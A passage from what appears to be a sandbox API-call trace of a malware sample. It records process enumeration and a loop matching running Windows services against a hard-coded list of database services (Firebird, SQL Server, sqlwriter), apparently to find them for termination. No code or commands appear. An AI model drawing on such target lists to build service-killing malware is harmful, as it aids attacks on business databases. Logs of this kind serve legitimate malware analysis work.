	[0191.199] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0191.199] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0191.199] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf04, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0191.200] lstrlenW (lpString="cmd.exe") returned 7
	[0191.200] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0191.200] lstrlenW (lpString="conhost.exe") returned 11
	[0191.200] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0191.201] lstrlenW (lpString="cmd.exe") returned 7
	[0191.201] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0191.201] lstrlenW (lpString="conhost.exe") returned 11
	[0191.201] Process32NextW (in: hSnapshot=0x380, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0191.202] CloseHandle (hObject=0x380) returned 1
	[0191.202] Sleep (dwMilliseconds=0x1f4) 
	[0191.965] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x78ddc8
	[0193.215] EnumServicesStatusExW (in: hSCManager=0x78ddc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0193.216] GetLastError () returned 0xea
	[0193.216] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c30) returned 0x3a1a400
	[0193.216] EnumServicesStatusExW (in: hSCManager=0x78ddc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a1a400, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a1a400, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0193.217] CloseServiceHandle (hSCObject=0x78ddc8) returned 1
	[0193.217] lstrlenW (lpString="Appinfo") returned 7
	[0193.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0193.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0193.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0193.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0193.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0193.217] lstrlenW (lpString="AppXSvc") returned 7
	[0193.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0193.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0193.217] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0193.217] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0193.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0193.217] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0193.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0193.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0193.217] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0193.217] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0193.218] lstrlenW (lpString="Audiosrv") returned 8
	[0193.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0193.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0193.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0193.218] lstrlenW (lpString="BFE") returned 3
	[0193.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0193.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0193.218] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0193.218] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0193.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0193.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0193.218] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0193.218] lstrlenW (lpString="CDPSvc") returned 6
	[0193.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0193.218] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0193.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0193.218] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0193.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0193.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0193.218] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0193.218] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0193.219] lstrlenW (lpString="CryptSvc") returned 8
	[0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0193.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0193.219] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0193.219] lstrlenW (lpString="DcomLaunch") returned 10
	[0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0193.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0193.219] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0193.219] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0193.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0193.219] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0193.219] lstrlenW (lpString="Dhcp") returned 4
	[0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0193.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0193.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0193.219] lstrlenW (lpString="Dnscache") returned 8
	[0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0193.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0193.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0193.219] lstrlenW (lpString="DPS") returned 3
	[0193.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0193.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0193.219] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0193.219] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0193.220] lstrlenW (lpString="DusmSvc") returned 7
	[0193.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0193.220] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0193.220] lstrlenW (lpString="EventLog") returned 8
	[0193.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0193.220] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0193.220] lstrlenW (lpString="EventSystem") returned 11
	[0193.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0193.220] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0193.220] lstrlenW (lpString="FontCache") returned 9
	[0193.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0193.220] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0193.220] lstrlenW (lpString="gpsvc") returned 5
	[0193.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0193.220] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0193.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0193.220] lstrlenW (lpString="iphlpsvc") returned 8
	[0193.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0193.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0193.220] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0193.220] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0193.221] lstrlenW (lpString="KeyIso") returned 6
	[0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0193.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0193.221] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0193.221] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0193.221] lstrlenW (lpString="LanmanServer") returned 12
	[0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0193.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0193.221] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0193.221] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0193.221] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0193.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0193.221] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0193.221] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0193.221] lstrlenW (lpString="lfsvc") returned 5
	[0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0193.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0193.221] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0193.221] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0193.221] lstrlenW (lpString="lmhosts") returned 7
	[0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0193.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0193.221] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0193.221] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0193.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0193.221] lstrlenW (lpString="LSM") returned 3
	[0193.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0193.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0193.221] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0193.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0193.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0193.222] lstrlenW (lpString="MpsSvc") returned 6
	[0193.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0193.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0193.222] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0193.222] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0193.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0193.222] lstrlenW (lpString="NcbService") returned 10
	[0193.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0193.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0193.222] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0193.222] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0193.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0193.222] lstrlenW (lpString="netprofm") returned 8
	[0193.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0193.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0193.222] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0193.222] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0193.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0193.222] lstrlenW (lpString="NgcSvc") returned 6
	[0193.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0193.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0193.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0193.223] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0193.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0193.223] lstrlenW (lpString="NlaSvc") returned 6
	[0193.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0193.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0193.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0193.223] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0193.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0193.223] lstrlenW (lpString="nsi") returned 3
	[0193.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0193.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0193.224] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0193.224] lstrlenW (lpString="PcaSvc") returned 6
	[0193.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0193.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0193.224] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0193.224] lstrlenW (lpString="PlugPlay") returned 8
	[0193.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0193.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0193.224] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0193.224] lstrlenW (lpString="Power") returned 5
	[0193.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0193.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0193.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0193.224] lstrlenW (lpString="ProfSvc") returned 7
	[0193.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0193.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0193.224] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0193.224] lstrlenW (lpString="RpcEptMapper") returned 12
	[0193.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0193.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0193.224] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0193.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0193.225] lstrlenW (lpString="RpcSs") returned 5
	[0193.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0193.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0193.225] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0193.225] lstrlenW (lpString="SamSs") returned 5
	[0193.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0193.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0193.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0193.225] lstrlenW (lpString="Schedule") returned 8
	[0193.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0193.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0193.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0193.225] lstrlenW (lpString="SecurityHealthService") returned 21
	[0193.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0193.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0193.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0193.225] lstrlenW (lpString="SENS") returned 4
	[0193.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0193.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0193.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0193.225] lstrlenW (lpString="ShellHWDetection") returned 16
	[0193.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0193.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0193.225] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0193.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0193.226] lstrlenW (lpString="Spooler") returned 7
	[0193.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0193.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0193.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0193.226] lstrlenW (lpString="StateRepository") returned 15
	[0193.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0193.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0193.226] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0193.226] lstrlenW (lpString="SysMain") returned 7
	[0193.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0193.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0193.226] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0193.226] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0193.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0193.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
